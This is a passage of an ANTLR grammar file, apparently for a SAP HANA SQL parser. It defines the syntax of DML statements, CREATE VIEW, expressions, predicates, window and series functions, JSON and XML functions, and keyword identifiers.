| K_INTERSECT K_DISTINCT?
| K_EXCEPT K_DISTINCT?
;
setOperatorClause
: (setOperator setSubquery)+
orderBy = tableOrderByClause?
limit = limitClause?
;
limitClause
: K_LIMIT limit=unsignedIntegerOrBindParameter (K_OFFSET offset=unsignedIntegerOrBindParameter)? (K_TOTAL K_ROWCOUNT)?
;
joinCardinality
: K_MANY K_TO K_MANY #manyToMany
| K_MANY K_TO K_ONE #manyToOne
| K_MANY K_TO K_EXACT K_ONE #manyToExactOne
| K_ONE K_TO K_MANY #oneToMany
| K_EXACT K_ONE K_TO K_MANY #exactOneToMany
| K_ONE K_TO K_ONE #oneToOne
| K_EXACT K_ONE K_TO K_ONE #exactOneToOne
| K_ONE K_TO K_EXACT K_ONE #oneToExactOne
| K_EXACT K_ONE K_TO K_EXACT K_ONE #exactOneToExactOne
;
joinType
: K_INNER
| (K_LEFT | K_RIGHT | K_FULL) K_OUTER?
;
caseJoin
: tableRef K_LEFT K_OUTER K_MANY K_TO K_ONE
K_CASE K_JOIN
caseJoinWhenClause+
caseJoinElseClause?
K_END alias?
;
caseJoinWhenClause
: K_WHEN condition K_THEN K_RETURN columnListClause K_FROM tableRef K_ON predicate
;
caseJoinElseClause
: K_ELSE K_RETURN columnListClause K_FROM tableRef K_ON predicate
;
lateralTableExpression
: K_LATERAL '(' (subquery[true] | functionExpression[true]) ')' alias?
;
collectionDerivedTable
: K_UNNEST '(' collectionValueExpression (',' collectionValueExpression)* ')' (K_WITH K_ORDINALITY)? explicitAlias columnListClause?
;
collectionValueExpression
: K_ARRAY '(' (expression (',' expression)* | columnName) ')'
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > DELETE Statement ------
deleteStatement
: K_DELETE K_HISTORY? K_FROM tableName partitionRestriction? whereClause? hintClause?
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > INESRT Statement ------
insertStatement
: K_INSERT K_INTO tableName partitionRestriction? alias?
columnListClause?
(
valueListClause
| overridingClause? selectStatement[true]
)
hintClause?
;
valueListClause
: K_VALUES '(' expressionList ')' explicitAlias?
;
overridingClause
: K_OVERRIDING (K_SYSTEM | K_USER) K_VALUE
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > UPDATE Statement ------
updateStatement
: K_UPDATE topClause? tableName alias?
portionOfApplicationTimeClause?
partitionRestriction?
setClause
fromClause?
whereClause?
hintClause?
;
portionOfApplicationTimeClause
: K_FOR K_PORTION K_OF K_APPLICATION_TIME K_FROM from=STRING_LITERAL K_TO to=STRING_LITERAL
;
setClause
: K_SET elements+=setElement (',' elements+=setElement)*
;
setElement
: fieldName '=' expression
| '(' withClause subquery[true] ')' // TODO: check to real db
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > REPLACE | UPSERT Statement ------
replaceStatement
: (K_UPSERT | K_REPLACE) tableName partitionRestriction? columnListClause?
(
valueListClause (whereClause | K_WITH K_PRIMARY K_KEY)?
| selectStatement[true]
)
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > MERGE DELTA Statement ------
mergeDeltaStatement
: K_MERGE K_HISTORY? K_DELTA K_OF tableName (K_PART part=unsignedIntegerOrBindParameter)?
(K_WITH K_PARAMETERS '(' params+=mergeDeltaParameter (',' params+=mergeDeltaParameter)* ')')?
(K_FORCE K_REBUILD)?
;
mergeDeltaParameter
: key=STRING_LITERAL '=' value=STRING_LITERAL
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > MERGE INTO Statement ------
mergeIntoStatement
: K_MERGE K_INTO tableName partitionRestriction? alias?
K_USING tableRef
K_ON condition
(operations+=mergeWhenClause)+
;
mergeWhenClause
: K_WHEN K_MATCHED (K_AND condition)? K_THEN whenMatchedSpecification #mergeWhenMatched
| K_WHEN K_NOT K_MATCHED (K_AND condition)? K_THEN whenNotMatchedSpecification #mergeWhenNotMatched
;
whenMatchedSpecification
: K_UPDATE setClause #whenMatchedUpdate
| K_DELETE #whenMatchedDelete
;
whenNotMatchedSpecification
: K_INSERT columnListClause? valueListClause
;
// ------ SQL Reference > Operators ------
operator
: arithmeticOperator
| comparisonOperator
| concatenationOperator
| logicalOperator
;
arithmeticOperator
: '+' | '-' | '*' | '/'
;
comparisonOperator
: '=' | '>' | '<' | '>=' | '<=' | '!=' | '<>'
;
concatenationOperator
: '||'
;
logicalOperator
: K_AND | K_OR | K_NOT
;
// ------ SQL Reference > Expressions ------
expression
: caseExpression #caseExpr
| windowExpression #windowExpr
| aggregateExpression #aggExpr
| dataTypeConversionExpression #conversionExpr
| dateTimeExpression #dateTimeExpr
| functionExpression[false] #functionExpr
| '(' expression (',' expression)* ')' #setExpr
| '(' subquery[true] ')' #subqueryExpr
| '-' expression #unaryExpr
| l=expression op=operator r=expression #operationExpr
| fieldName #fieldExpr
| constant #constantExpr
| identifier[null] '=>' expression #lambdaExpr
| jsonObjectExpression #jsonObjectExpr
| jsonArrayExpression #jsonArrayExpr
| bindParameterExpression #bindParamExpr
;
expressionList
: list+=expression (',' list+=expression)*
;
expressionOrSubqueryList
: list+=expressionOrSubquery (',' list+=expressionOrSubquery)*
;
expressionOrSubquery
: subquery[true]
| expression
;
caseExpression
: simpleCaseExpression
| searchCaseExpression
;
simpleCaseExpression
: K_CASE case=expression
(K_WHEN when+=expression K_THEN then+=expression)+
(K_ELSE else=expression)?
K_END
;
searchCaseExpression
: K_CASE
(K_WHEN when+=condition K_THEN then+=expression)+
(K_ELSE else=expression)?
K_END
;
condition
: predicate #predicateCondition
| condition K_OR condition #orCondition
| condition K_AND condition #andCondition
| K_NOT condition #notCondition
| '(' condition ')' #parenthesisCondition
| K_CURRENT K_OF identifier[null] #currentOfCondition
;
functionExpression[bool table]
: jsonExpression[$table] #jsonExpr
| stringExpression[$table] #stringExpr
| { $table == false }? inlineFunctionName #inlineExpr
| functionName '(' expressionOrSubqueryList? ')' #scalarExpr
;
functionName returns [QsiQualifiedIdentifier qqi] locals [List<QsiIdentifier> buffer]
@init { $buffer = new List<QsiIdentifier>(); }
@after { $qqi = new QsiQualifiedIdentifier($buffer); }
: identifier[$buffer] ('.' identifier[$buffer] ('.' identifier[$buffer] ('.' identifier[$buffer])?)?)?
;
inlineFunctionName
: K_CURRENT_CONNECTION
| K_CURRENT_SCHEMA
| K_CURRENT_DATE
| K_CURRENT_TIME
| K_CURRENT_TRANSACTION_ISOLATION_LEVEL
| K_CURRENT_UTCTIME
| K_CURRENT_TIMESTAMP
| K_CURRENT_UTCDATE
| K_CURRENT_USER
| K_CURRENT_UTCTIMESTAMP
| K_SYSUUID
| K_SESSION_USER
;
aggregateExpression
: K_COUNT '(' '*' ')' #aggCountExpr
| K_COUNT '(' K_DISTINCT expressionList ')' #aggCountDistinctExpr
| K_STRING_AGG '(' expression (',' delimiter=expression)? aggregateOrderByClause? ')' #aggStringExpr
| K_CROSS_CORR '('
expression ','
expression ','
unsignedIntegerOrBindParameter (seriesOrderBy | aggregateOrderByClause)
')' ('.' (K_POSITIVE_LAGS | K_NEGATIVE_LAGS | K_ZERO_LAG))? #aggCrossCorrExpr
| K_DFT '('
expression ','
unsignedIntegerOrBindParameter (seriesOrderBy | aggregateOrderByClause)
')' '.' (K_REAL | K_IMAGINARY | K_AMPLITUDE | K_PHASE) #aggDftExpr
| aggName '(' (K_ALL | K_DISTINCT)? expression ')' #aggFuncExpr
;
aggName
: K_VAR
| K_VAR_POP
| K_VAR_SAMP
| K_STDDEV
| K_STDDEV_POP
| K_STDDEV_SAMP
| K_STRING_AGG
| K_NTH_VALUE
| K_MIN
| K_MAX
| K_MEDIAN
| K_LAST_VALUE
| K_FIRST_VALUE
| K_COUNT
| K_CORR
| K_CORR_SPEARMAN
| K_AUTO_CORR
| K_AVG
| K_SUM
;
aggregateOrderByClause
: K_ORDER K_BY expression (K_ASC | K_DESC)? (K_NULLS K_FIRST | K_NULLS K_LAST)? collateClause?
;
windowSpecification
: K_OVER '(' windowPartitionByClause? windowOrderByClause? windowFrameClause? ')'
;
windowWithSeriesSpecification
: K_OVER '(' seriesSepcification? windowPartitionByClause? windowOrderByClause? ')'
;
seriesSepcification
: seriesTable
| seriesClause /* TODO: == SERIES ( .. ) right? */
;
windowPartitionByClause
: K_PARTITION K_BY expression (',' expression)*
;
windowOrderByClause
: K_ORDER K_BY windowOrderByExpression (',' windowOrderByExpression)*
;
windowOrderByExpression
: fieldName (K_ASC | K_DESC)? (K_NULLS (K_FIRST | K_LAST))? collateClause?
;
windowFrameClause
: K_ROWS (windowFrameStart | windowFrameBetween)
;
windowFrameStart
: K_UNBOUNDED K_PRECEDING
| unsignedIntegerOrBindParameter K_PRECEDING
| K_CURRENT K_ROW
;
windowFrameBetween
: K_BETWEEN lower=windowFrameBound K_AND upper=windowFrameBound
;
windowFrameBound
: windowFrameStart
| K_UNBOUNDED K_FOLLOWING
| unsignedIntegerOrBindParameter K_FOLLOWING
;
windowExpression
: K_BINNING '(' expressionList ')' windowSpecification #windowBinningExpr
| K_CUBIC_SPLINE_APPROX '(' expressionList ')' windowWithSeriesSpecification? #windowCubicSplineApproxExpr
| K_CUME_DIST '(' ')' windowSpecification #windowCumeDistExpr
| K_DENSE_RANK '(' ')' windowSpecification #windowDenseRankExpr
| K_LAG '(' expressionList ')' windowSpecification #windowLagExpr
| K_LEAD '(' expressionList ')' windowSpecification #windowLeadExpr
| K_LINEAR_APPROX '(' expressionList ')' windowWithSeriesSpecification #windowLinearApproxExpr
| K_NTILE '(' unsignedIntegerOrBindParameter ')' windowSpecification #windowNtileExpr
| K_PERCENT_RANK '(' ')' windowSpecification #windowPercentRankExpr
| K_PERCENTILE_CONT '(' expression ')' withinGroupClause windowSpecification #windowPercentileContExpr
| K_PERCENTILE_DISC '(' expression ')' withinGroupClause windowSpecification #windowPercentileDiscExpr
| K_RANDOM_PARTITION '(' expressionList ')' windowSpecification #windowRandomPartitionExpr
| K_RANK '(' ')' windowSpecification #windowRankExpr
| K_ROW_NUMBER '(' ')' windowSpecification #windowRowNumberExpr
| K_SERIES_FILTER '(' expressionList ')' windowWithSeriesSpecification #windowSeriesFilterExpr
| K_WEIGHTED_AVG '(' expression ')' windowSpecification #windowWeightedAvgExpr
| aggregateExpression windowSpecification #windowAggExpr
| seriesExpression windowSpecification? #windowSeriesExpr
;
withinGroupClause
: K_WITHIN K_GROUP '(' aggregateOrderByClause ')'
;
seriesOrderBy
: K_SERIES '(' seriesPeriod seriesEquidistantDefinition ')'
;
seriesExpression
: seriesDisaggregate
| seriesElementToPeriod
| seriesGenerate
| seriesPeriodToElement
| seriesRound
;
seriesDisaggregate
: K_SERIES_DISAGGREGATE '(' (seriesTable | expression) ',' (seriesTable | expression) (',' expression (',' expression)?)? ')'
| (
K_SERIES_DISAGGREGATE_TINYINT
| K_SERIES_DISAGGREGATE_SMALLINT
| K_SERIES_DISAGGREGATE_INTEGER
| K_SERIES_DISAGGREGATE_BIGINT
| K_SERIES_DISAGGREGATE_SMALLDECIMAL
| K_SERIES_DISAGGREGATE_DECIMAL
| K_SERIES_DISAGGREGATE_TIME
| K_SERIES_DISAGGREGATE_DATE
| K_SERIES_DISAGGREGATE_SECONDDATE
| K_SERIES_DISAGGREGATE_TIMESTAMP
) '(' expressionList ')'
;
seriesElementToPeriod
: K_SERIES_ELEMENT_TO_PERIOD '(' unsignedIntegerOrBindParameter ',' (expression ',' expression ',' expression | seriesTable) ')'
;
seriesGenerate
: K_SERIES_GENERATE '(' seriesTable (',' expression (',' expression)?)? ')'
| (
K_SERIES_GENERATE_TINYINT
| K_SERIES_GENERATE_SMALLINT
| K_SERIES_GENERATE_INTEGER
| K_SERIES_GENERATE_BIGINT
| K_SERIES_GENERATE_SMALLDECIMAL
| K_SERIES_GENERATE_DECIMAL
| K_SERIES_GENERATE_TIME
| K_SERIES_GENERATE_DATE
| K_SERIES_GENERATE_SECONDDATE
| K_SERIES_GENERATE_TIMESTAMP
) '(' expressionList ')'
;
seriesPeriodToElement
: K_SERIES_PERIOD_TO_ELEMENT '('
expression ',' (expression ',' expression ',' expression | seriesTable)
(',' roundingMode)?
')'
;
seriesRound
: K_SERIES_ROUND '(' expression ',' (expression | seriesTable) (',' roundingMode (',' expression)?)? ')'
;
roundingMode
: K_ROUND_HALF_UP
| K_ROUND_HALF_DOWN
| K_ROUND_HALF_EVEN
| K_ROUND_UP
| K_ROUND_DOWN
| K_ROUND_CEILING
| K_ROUND_FLOOR
;
dataTypeConversionExpression
: K_CAST '(' expression K_AS dataType ')'
;
dataType
// Numeric types
: K_TINYINT
| K_SMALLINT
| K_INTEGER | K_INT
| K_BIGINT
| (K_DECIMAL | K_DEC) ('(' precision=unsignedIntegerOrBindParameter (',' scale=unsignedIntegerOrBindParameter)? ')')?
| K_SMALLDECIMAL
| K_REAL
| K_DOUBLE
| K_FLOAT ('(' length=unsignedIntegerOrBindParameter ')')?
// Boolean type
| K_BOOLEAN
// Characters string types
| K_VARCHAR ('(' length=unsignedIntegerOrBindParameter ')')?
| K_NVARCHAR ('(' length=unsignedIntegerOrBindParameter ')')?
| K_ALPHANUM ('(' length=unsignedIntegerOrBindParameter ')')?
| K_SHORTTEXT ('(' length=unsignedIntegerOrBindParameter ')')?
// Binary types
| K_VARBINARY ('(' length=unsignedIntegerOrBindParameter ')')?
// Large Object types
| K_BLOB
| K_CLOB
| K_NCLOB
| K_TEXT
// Datetime types
| K_DATE
| K_TIME
| K_SECONDDATE
| K_TIMESTAMP
| K_DAYDATE
;
dateTimeExpression
: K_EXTRACT '(' dateTimeKind K_FROM expression ')'
;
dateTimeKind
: K_YEAR
| K_MONTH
| K_DAY
| K_HOUR
| K_MINUTE
| K_SECOND
;
jsonExpression[bool table]
: { $table == false }?
K_JSON_QUERY '('
jsonApiCommonSyntax
(K_RETURNING dataType)?
jsonWrapperBehavior?
(jsonBehavior K_ON K_EMPTY)?
(jsonBehavior K_ON K_ERROR)?
')' #jsonQueryExpr
| { $table }?
K_JSON_TABLE '('
jsonApiCommonSyntax
jsonTableColumnsClause
((K_ERROR | K_EMPTY) K_ON K_ERROR)?
')' #jsonTableExpr
| { $table == false }?
K_JSON_VALUE '('
jsonApiCommonSyntax
(K_RETURNING dataType)?
(jsonValueBehavior K_ON K_EMPTY)?
(jsonValueBehavior K_ON K_ERROR)?
')' #jsonValueExpr
;
jsonWrapperBehavior
: K_WITHOUT K_ARRAY? K_WRAPPER
| K_WITH (K_CONDITIONAL | K_UNCONDITIONAL)? K_ARRAY? K_WRAPPER
;
jsonBehavior
: K_ERROR
| K_NULL
| K_EMPTY K_ARRAY
| K_EMPTY K_OBJECT
;
jsonValueBehavior
: K_ERROR
| K_NULL
| K_DEFAULT expression
;
jsonApiCommonSyntax
: (data=STRING_LITERAL | dataColumn=fieldName) ',' jsonPathSpecification
;
jsonPathSpecification
: (K_STRICT | K_LAX)? path=STRING_LITERAL
;
jsonTableColumnsClause
: K_COLUMNS '(' defs+=jsonTableColumnDefinition (',' defs+=jsonTableColumnDefinition)* ')'
;
jsonTableColumnDefinition
: jsonTableOrdinalityColumnDefinition
| jsonTableRegularColumnDefinition
| jsonTableFormattedColumnDefinition
| jsonTableNestedColumns
;
jsonTableOrdinalityColumnDefinition
: columnName K_FOR K_ORDINALITY
;
jsonTableRegularColumnDefinition
: columnName dataType
K_PATH jsonPathSpecification
(empty=jsonValueBehavior K_ON K_EMPTY)?
(error=jsonValueBehavior K_ON K_ERROR)?
;
jsonTableFormattedColumnDefinition
: columnName dataType
K_FORMAT K_JSON (K_ENCODING (enc=K_UTF8 | enc=K_UTF16 | enc=K_UTF32))?
K_PATH jsonPathSpecification
wrapper=jsonWrapperBehavior?
(empty=jsonBehavior K_ON K_EMPTY)?
(error=jsonBehavior K_ON K_ERROR)?
;
jsonTableNestedColumns
: K_NESTED K_PATH? jsonPathSpecification jsonTableColumnsClause
;
stringExpression[bool table]
: { $table == false }?
(K_LOCATE_REGEXPR | K_SUBSTR_REGEXPR | K_SUBSTRING_REGEXPR)
'('
regexprClause
(K_FROM start=unsignedIntegerOrBindParameter)?
(K_OCCURRENCE occurrence=unsignedIntegerOrBindParameter)?
(K_GROUP group=unsignedIntegerOrBindParameter)?
')' #regexprExpr
| { $table == false }?
K_OCCURRENCES_REGEXPR '('
regexprClause
(K_FROM start=unsignedIntegerOrBindParameter)?
')' #occurrencesRegexprExpr
| { $table == false }?
K_REPLACE_REGEXPR '('
regexprClause
(K_WITH replacement=STRING_LITERAL)?
(K_FROM start=unsignedIntegerOrBindParameter)?
(K_OCCURRENCE (occurrence1=unsignedIntegerOrBindParameter | occurrence2=K_ALL))?
')' #replaceRegexprExpr
| { $table == false }?
K_TRIM '('
((K_LEADING | K_TRAILING | K_BOTH)? char=STRING_LITERAL K_FROM)?
input=expression
')' #trimExpr
| { $table }?
K_XMLTABLE '('
(xmlNamespaceClause ',')?
pattern=STRING_LITERAL
K_PASSING (data=STRING_LITERAL | dataColumn=fieldName)
K_COLUMNS columns+=xmlColumnDefinition (',' columns+=xmlColumnDefinition)*
(K_ERROR K_ON K_ERROR)?
')' #xmlTableExpr
;
regexprClause
: (K_START | K_AFTER)? pattern=STRING_LITERAL regexFlagClause? K_IN subject=expression
;
xmlNamespaceClause
: K_XMLNAMESPACE '(' xmlNamespace (',' xmlNamespace)* (K_DEFAULT url=STRING_LITERAL)? ')'
;
xmlNamespace
: url=STRING_LITERAL K_AS alas=STRING_LITERAL
;
xmlColumnDefinition
: columnName xmlColumnType
;
xmlColumnType
: K_FOR K_ORDINALITY
| dataType (K_FORMAT K_XML)? K_PATH STRING_LITERAL (K_DEFAULT STRING_LITERAL)?
;
constant
: STRING_LITERAL #constantString
| binaryLiteral #constantBinary
| numericLiteral #constantNumber
| booleanLiteral #constantBoolean
| intervalLiteral #constantInterval
| K_NULL #constantNull
;
intervalLiteral
: K_INTERVAL unsignedIntegerOrBindParameter (K_YEAR | K_MONTH | K_DAY | K_HOUR | K_MINUTE | K_SECOND)
;
unsignedIntegerOrBindParameter
: v=UNSIGNED_INTEGER
| b=bindParameterExpression
;
jsonObjectExpression
: '{' '}' #emptyJsonObject
| '{' properties+=jsonPropertyExpression (',' properties+=jsonPropertyExpression)* '}' #noEmptyJsonObject
;
jsonValueExpression
: jsonStringLiteral
| numericLiteral
| booleanLiteral
| K_NULL
// | <path_expression>
| jsonObjectExpression
| jsonArrayExpression
;
jsonArrayExpression
: '[' ']' #emptyJsonArray
| '[' items+=jsonArrayValueExpression (',' items+=jsonArrayValueExpression)* ']' #noEmptyJsonArray
;
jsonPropertyExpression
: key=jsonStringLiteral ':' value=jsonValueExpression
;
jsonArrayValueExpression
: jsonValueExpression
// | <path_expression>
;
jsonStringLiteral
: QUOTED_IDENTIFIER
| STRING_LITERAL
;
bindParameterExpression returns [int index]
: '?' { $index = NextBindParameterIndex(); } #bindParam1
| ':' n=UNSIGNED_INTEGER { $index = int.Parse($n.text); } #bindParam2
| ':' identifier[null] #bindParam3
;
// ------ SQL Reference > Predicates ------
predicate
: '(' inner=predicate ')'
| comparisonPredicate
| betweenPredicate
| containsPredicate
| inPredicate
| likePredicate
| existsPredicate
| likeRegexPredicate
| memberOfPredicate
| nullPredicate
;
comparisonPredicate
: left=expression op=comparisonOperator (K_ANY | K_SOME | K_ALL)? right=expression
;
betweenPredicate
: source=expression K_NOT? K_BETWEEN lower=expression K_AND upper=expression
;
containsPredicate
: K_CONTAINS '(' columns=containsColumns ',' search=STRING_LITERAL (',' specifier=searchSpecifier)? ')'
;
containsColumns
: '*'
| columnList
| columnListClause
;
searchSpecifier
: searchType? optSearchSpecifier2List?
| searchSpecifier2List
;
optSearchSpecifier2List
: '(' K_EMPTY ',' K_NOTHING K_SPECIFIED ')'
| searchSpecifier2List
;
searchType
: exactSearch
| fuzzySearch
| linguisticSearch
;
searchSpecifier2List
: searchSpecifier2
| searchSpecifier2List ',' searchSpecifier2
;
searchSpecifier2
: weights
| language
| fulltext
;
fulltext
: K_FULLTEXT '(' param=(K_ON | K_OFF | K_AUTOMATIC) ')'
;
exactSearch
: K_EXACT ('(' param=STRING_LITERAL ')')?
;
fuzzySearch
: K_FUZZY ('(' (fuzzyParams | fuzzyParamsList) ')')?
;
fuzzyParamsList
: '(' fuzzyParams ')' ',' fuzzyParamsList2
;
fuzzyParamsList2
: '(' fuzzyParams ')'
| fuzzyParamsList2 ',' '(' fuzzyParams ')'
;
fuzzyParams
: numericLiteral (',' STRING_LITERAL)?
| K_NULL ',' STRING_LITERAL
;
linguisticSearch
: K_LINGUISTIC '(' param=STRING_LITERAL ')'
;
weights
: K_WEIGHT '(' param=numericLiteral ')'
;
language
: K_LANGUAGE '(' param=STRING_LITERAL ')'
;
existsPredicate
: K_NOT? K_EXISTS '(' subquery[true] ')'
;
inPredicate
: ('(' left1=expressionList ')' | left2=expression) K_NOT? K_IN '(' (right1=expressionList | right2=subquery[true]) ')'
;
likePredicate
: source=expression K_NOT? K_LIKE value=expression (K_ESCAPE escape=expression)?
;
likeRegexPredicate
: source=expression K_LIKE_REGEXPR pattern=STRING_LITERAL regexFlagClause?
;
regexFlagClause
: K_FLAG flag=STRING_LITERAL
;
memberOfPredicate
: source=expression K_NOT? K_MEMBER K_OF member=expression
;
nullPredicate
: source=expression K_IS K_NOT? K_NULL
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > CRETE TABLE Statement
seriesClause
: K_SERIES '(' seriesKey? seriesEquidistantDefinition? seriesMinvalue? seriesMaxvalue? seriesPeriod alternateSeries? ')'
;
seriesKey
: K_SERIES K_KEY columnListClause
;
seriesEquidistantDefinition
: K_NOT K_EQUIDISTANT
| K_EQUIDISTANT K_INCREMENT K_BY expression (K_MISSING K_ELEMENTS K_NOT? K_ALLOWED)?
;
seriesMinvalue
: K_NO K_MINVALUE
| K_MINVALUE STRING_LITERAL
;
seriesMaxvalue
: K_NO K_MAXVALUE
| K_MAXVALUE STRING_LITERAL
;
seriesPeriod
: K_PERIOD K_FOR K_SERIES columnListClause
;
alternateSeries
: K_ALTERNATE K_PERIOD K_FOR K_SERIES columnListClause
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > CREATE VIEW Statement ------
createViewStatement returns [
QsiQualifiedIdentifier name,
string comment,
bool structuredPrivilegeCheck,
bool force,
bool checkOption,
bool ddlOnly,
bool readOnly
]
: K_CREATE K_VIEW n=viewName { $name = $n.qqi; }
(K_COMMENT cmt=STRING_LITERAL { $comment = IdentifierUtility.Unescape($cmt.text); })?
columnListClause?
parameterizedViewClause?
K_AS selectStatement[true]
withAssociationClause?
withMaskClause?
withExpressionMacroClause?
withAnnotationClause?
(K_WITH K_STRUCTURED K_PRIVILEGE K_CHECK { $structuredPrivilegeCheck = true; })?
withCacheClause?
(K_FORCE { $force = true; })?
(K_WITH K_CHECK K_OPTION { $checkOption = true; })?
(K_WITH K_DDL K_ONLY { $ddlOnly = true; })?
(K_WITH K_READ K_ONLY { $readOnly = true; })?
withAnonymizationClause?
;
viewName returns [QsiQualifiedIdentifier qqi] locals [List<QsiIdentifier> buffer]
@init { $buffer = new List<QsiIdentifier>(); }
@after { $qqi = new QsiQualifiedIdentifier($buffer); }
: identifier[$buffer] ('.' identifier[$buffer] )?
;
withAssociationClause
: K_WITH K_ASSOCIATIONS '(' defs+=associationDef (',' defs+=associationDef)* ')'
;
associationDef
: forwardJoinDef
| propagationDef
;
forwardJoinDef
: joinCardinalityClass
;
joinCardinalityClass
: joinCardinality? K_JOIN tableName explicitAlias? K_ON condition
| propagationDef
;
propagationDef
: tableName explicitAlias?
;
parameterizedViewClause
: '(' defs+=parameterDef (',' defs+=parameterDef)* ')'
;
parameterDef
: K_IN identifier[null] dataType expression?
;
withMaskClause
: K_WITH K_MASK '(' defs+=maskDef (',' defs+=maskDef)* ')'
;
maskDef
: columnName K_USING expression
;
withExpressionMacroClause
: K_WITH K_EXPRESSION K_MACROS '(' defs+=expressionMacroDef (',' defs+=expressionMacroDef)* ')'
;
expressionMacroDef
: expression explicitAlias
;
withAnnotationClause
: K_WITH K_ANNOTATIONS '(' (setViewAnnotations? columnAnnotation* parameterAnnotation*) ')'
;
setViewAnnotations
: keySetOperation
;
columnAnnotation
: K_COLUMN columnName keySetOperation
;
parameterAnnotation
: K_PARAMETER columnName keySetOperation
;
keySetOperation
: K_SET keyValuePair (',' keyValuePair)*
;
withCacheClause
: K_WITH (K_STATIC | K_DYNAMIC)? K_CACHE (K_NAME identifier[null])
(K_RETENTION unsignedIntegerOrBindParameter)?
(K_OF projectionClause)?
(K_FILTER condition)?
locationClause?
;
projectionClause
: defs+=projectionDef (',' defs+=projectionDef)*
;
projectionDef
: (K_SUM | K_MIN | K_MAX | K_COUNT) '(' columnName ')' #projectionAggrDef
| columnName #projectionColumnDef
;
locationClause
: K_AT K_LOCATION? locs+=STRING_LITERAL (',' locs+=STRING_LITERAL)*
;
withAnonymizationClause
: K_WITH K_ANONYMIZATION '(' K_ALGORITHM STRING_LITERAL (viewLevelParameter? columnLevelParameter*) ')'
;
viewLevelParameter
: K_PARAMETERS STRING_LITERAL
;
columnLevelParameter
: K_COLUMN columnName K_PARAMETERS STRING_LITERAL
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > SET SCHEMA Statement ------
setSchemaStatement
: K_SET K_SCHEMA identifier[null]
;
// ------ ETC ------
binaryLiteral
: HEX_NUMBER
;
booleanLiteral
: K_TRUE
| K_FALSE
;
numericLiteral returns [bool negative]
: ('+' | '-' { $negative = !$negative; })+ numericLiteral #signedNumericLiteral
| EXACT_NUMERIC_LITERAL #exactNumericLiteral
| APPROXIMATE_NUMERIC_LITERAL #approximateNumericLiteral
| unsignedIntegerOrBindParameter #unsignedIntegerOrBindParameter_
;
identifier[List<QsiIdentifier> buffer] returns [QsiIdentifier qi]
@after { $buffer?.Add($qi); }
: i=UNQUOTED_IDENTIFIER { $qi = new QsiIdentifier($i.text.ToUpper(), false); }
| i=QUOTED_IDENTIFIER { $qi = new QsiIdentifier($i.text, true); }
| i=UNICODE_IDENTIFIER { $qi = new QsiIdentifier($i.text.ToUpper(), false); }
| ki=keywodIdentifier { $qi = new QsiIdentifier($ki.text.ToUpper(), false); }
;
keywodIdentifier
: K_AFTER | K_ALGORITHM | K_ALLOWED | K_ALPHANUM | K_ALTERNATE | K_AMPLITUDE | K_AND | K_ANNOTATIONS
| K_ANONYMIZATION | K_ANY | K_APPLICATION_TIME | K_ARRAY | K_ASC | K_ASSOCIATIONS | K_AT | K_AUTO_CORR | K_AUTOMATIC
| K_AVG | K_BALANCE | K_BERNOULLI | K_BEST | K_BETWEEN | K_BIGINT | K_BINNING | K_BLOB | K_BOOLEAN | K_BY | K_CACHE
| K_CAST | K_CHECK | K_CLOB | K_COLLATE | K_COLUMN | K_COLUMNS | K_COMMENT | K_COMMIT | K_CONDITIONAL | K_CONTAINS
| K_CORR | K_CORR_SPEARMAN | K_COUNT | K_CREATE | K_CROSS_CORR | K_CUBIC_SPLINE_APPROX | K_CUME_DIST | K_CURRENT
| K_DATA_TRANSFER_COST | K_DATE | K_DAY | K_DAYDATE | K_DDL | K_DEC | K_DECIMAL | K_DEFAULT | K_DELETE | K_DELTA
| K_DENSE_RANK | K_DESC | K_DFT | K_DOUBLE | K_DYNAMIC | K_ELEMENTS | K_EMPTY | K_ENCODING | K_EQUIDISTANT | K_ERROR
| K_ESCAPE | K_EXACT | K_EXISTS | K_EXPRESSION | K_EXTRACT | K_FILL | K_FILTER | K_FIRST | K_FIRST_VALUE | K_FLAG
| K_FLOAT | K_FOLLOWING | K_FORCE | K_FORMAT | K_FULLTEXT | K_FUZZY | K_GROUPING | K_HINT | K_HISTORY | K_HOUR
| K_ID | K_IGNORE | K_IMAGINARY | K_INCREMENT | K_INSERT | K_INT | K_INTEGER | K_INTERVAL | K_JSON | K_JSON_QUERY
| K_JSON_TABLE | K_JSON_VALUE | K_KEY | K_LAG | K_LANGUAGE | K_LAST | K_LAST_VALUE | K_LAX | K_LEAD | K_LIKE
| K_LIKE_REGEXPR | K_LINEAR_APPROX | K_LINGUISTIC | K_LOCATE_REGEXPR | K_LOCATION | K_LOCK | K_LOCKED | K_MACROS
| K_MANY | K_MASK | K_MATCHED | K_MATCHES | K_MAX | K_MAXVALUE | K_MEDIAN | K_MEMBER | K_MERGE | K_MIN | K_MINUTE
| K_MINVALUE | K_MISSING | K_MONTH | K_MULTIPLE | K_NAME | K_NCLOB | K_NEGATIVE_LAGS | K_NESTED | K_NO
| K_NO_ROUTE_TO | K_NOT | K_NOTHING | K_NOWAIT | K_NTH_VALUE | K_NTILE | K_NULLS | K_NVARCHAR | K_OBJECT
| K_OCCURRENCE | K_OCCURRENCES_REGEXPR | K_OF | K_OFF | K_OFFSET | K_ONE | K_ONLY | K_OPTION | K_OR | K_ORDINALITY
| K_OUTER | K_OVER | K_OVERRIDING | K_OVERVIEW | K_PARAMETER | K_PARAMETERS | K_PART | K_PARTITION | K_PASSING
| K_PATH | K_PERCENT_RANK | K_PERCENTILE_CONT | K_PERCENTILE_DISC | K_PERIOD | K_PHASE | K_PORTION | K_POSITIVE_LAGS
| K_PRECEDING | K_PREFIX | K_PRIMARY | K_PRIVILEGE | K_RANDOM_PARTITION | K_RANK | K_READ | K_REAL | K_REBUILD
| K_REPLACE | K_REPLACE_REGEXPR | K_RESULT | K_RESULTSETS | K_RETENTION | K_RETURNING | K_ROUND_CEILING
| K_ROUND_DOWN | K_ROUND_FLOOR | K_ROUND_HALF_DOWN | K_ROUND_HALF_EVEN | K_ROUND_HALF_UP | K_ROUND_UP | K_ROUTE_BY
| K_ROUTE_BY_CARDINALITY | K_ROUTE_TO | K_ROW | K_ROW_NUMBER | K_ROWCOUNT | K_ROWS | K_SCHEMA | K_SECOND
